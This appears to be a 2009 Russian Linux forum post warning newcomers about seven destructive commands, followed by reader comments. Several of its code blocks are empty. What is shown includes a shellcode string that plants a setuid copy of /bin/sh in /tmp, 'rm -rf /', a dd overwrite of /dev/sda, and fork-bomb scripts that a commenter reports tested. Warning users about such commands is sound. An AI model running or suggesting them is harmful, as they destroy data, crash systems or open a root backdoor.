xT 20.08.2009 22:14
Новичку — Семь смертельных команд
ОригиналЕсли ты новичок в мире Linux, то есть шанс, что в интернетах тебе встретится редиска нехороший человек, и он будет провоцировать тебя на выполнение команд, которые уничтожат твои данные или даже нанесут вред операционной системе.
Для того чтобы избежать такого исхода событий, прочти следующий текст.
«Не повторять – опасно!»
1.
1 |
|
Эта команда рекурсивно и не запрашивая подтверждений удалит все файлы, начиная с корневой директории.
В большинстве современных дистрибутивов есть защита от дурака, и эта команда не сработает.
2.
1 |
|
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Это hex-версия команды , которая может ввести в заблуждение менее опытного пользователя.
3.
1 |
|
Переформатирование или полное уничтожение всех файлов на устройстве
4.
1 |
|
Форкбомба. Эта команда принуждает систему запускать большое количество тысячи их процессов, до тех пор пока система не зависнет. Часто это ведёт к повреждениям данных.
5.
1 |
|
С помощью этой команды неструктурированные данные будут записаны на устройство. Обычно после этого файловая система приходит в негодность (данные, разумеется, теряются).
6.
1 |
|
Никогда не загружайте чтобы то ни было с неизвестных ресурсов. В противном случае, как показывает этот пример, загруженный файл сразу передается на выполнение командной оболочке. О последствиях этого стоит только догадываться, но вряд ли что-либо светлое и доброе.
7.
1 |
|
Команда перемещает все файлы из твоей домашней директории в Лимпопо место, которое не существует. После этого ты их никогда больше не увидишь.
P.S. На самом деле таких команд намного больше, поэтому всегда перед их(команд, которые тебе советуют использовать) выполнением проверяй что может произойти. Ман и гуглЪ в помощь.
Будем надеятся, что наши братья по Вере напишут в комментариях о других подобных командах.
konkere 20.08.2009 22:33 #
+ 2 -
С вгетом не обязательно смертельное же. А заголовком обещаны именно смертельные.
не обязательно смертельное
Тогда нужно и про кирпич написать. Если он упадёт на системник с высоты 9-го этажа, это тоже смертельно будет. Так, например.
ну да, примерно 50/50, как блондинке встретить динозавра в центре города (:
главное правило, наверное, для каждого:
не выполняй команду (тем более от root), если не знаешь, к чему это приведет
не выполняй команду (тем более от root), если не знаешь, к чему это приведет
Дополню и обобщу лозунгом.
Новичок, при работе за компьютером включай мозг!
Новичок, при работе за компьютером включай мозг!
sudo dd if=/dev/urandom of=/dev/sda
Такого типа команд я еще с 10 за рубь сгенерирую.. :-D
Такого типа команд я еще с 10 за рубь сгенерирую.. :-D
Мне кажется достаточно не выполнять команду, которую дали тебе в irc/etc. и назначения которой не знаешь - всё целее будешь, да и со списком каждый раз сверяться не надо будет :)
rm -rf /
Эта команда рекурсивно и не запрашивая подтверждений удалит все файлы, начиная с корневой директории.
В большинстве современных дистрибутивов есть защита от дурака, и эта команда не сработает.
Эта команда рекурсивно и не запрашивая подтверждений удалит все файлы, начиная с корневой директории.
В большинстве современных дистрибутивов есть защита от дурака, и эта команда не сработает.
Но от rm -rf /* защиты нет, насколько мне известно.
Ну и для примера в debian lenny, когда он тестингом был, тоже не было защиты от rm -rf /
где то слышал, что под судо большинство этих команд не работает.
это правда или нет?
это правда или нет?
не, не сработает. Там указано устройство /dev/sda без номера раздела. А форматирует только разделы. /dev/sdaX правильно :)
Да и перед этим еще и отмонтировать надо раздел, а рут-раздел например вообще не дастся под формат
Да и перед этим еще и отмонтировать надо раздел, а рут-раздел например вообще не дастся под формат
Ubuntu 9.04, Virtualbox
1. rm: cannot remove root directory
2. не проверял
3. спрашивает подтверждения если /dev/sda, форматировать отказывается. В случае с указанием /dev/sda1 - подтверждение не спрашивает, но ругается на смонтированную фс - форматировать отказывается
4. (особенно интересовал) bash: syntax error near unexpected token '{:'
5. работает! что, собственно говоря не удивительно.
6. не проверял, кажется будет работать
7. mv: accessing `/dev/null/`: Not a directory
даже обидно... может я что-то делаю не так?
1. rm: cannot remove root directory
2. не проверял
3. спрашивает подтверждения если /dev/sda, форматировать отказывается. В случае с указанием /dev/sda1 - подтверждение не спрашивает, но ругается на смонтированную фс - форматировать отказывается
4. (особенно интересовал) bash: syntax error near unexpected token '{:'
5. работает! что, собственно говоря не удивительно.
6. не проверял, кажется будет работать
7. mv: accessing `/dev/null/`: Not a directory
даже обидно... может я что-то делаю не так?
вот вам действительно плохая штука, захотите повторить - я не виноват.
создаётся файл с содержимым:
для убунтоводов это кстати ещё один повод монтировать home c пар-тром noexec
потому как у меня на рабочей машине запустился только в таком вот виде:
создаётся файл с содержимым:
#!/bin/sh
$0 &
$0 &
и запускается sh имя_вашего_файладля убунтоводов это кстати ещё один повод монтировать home c пар-тром noexec
потому как у меня на рабочей машине запустился только в таком вот виде:
#!/bin/sh
sh ~/$0 &
sh ~/$0 &
и Ubuntu 9.04 ушла в глубокую рекурсию, сожрала всю память, потом своп... к счастью ответила на magic-sysrq и я смог её корректно перезагрузить.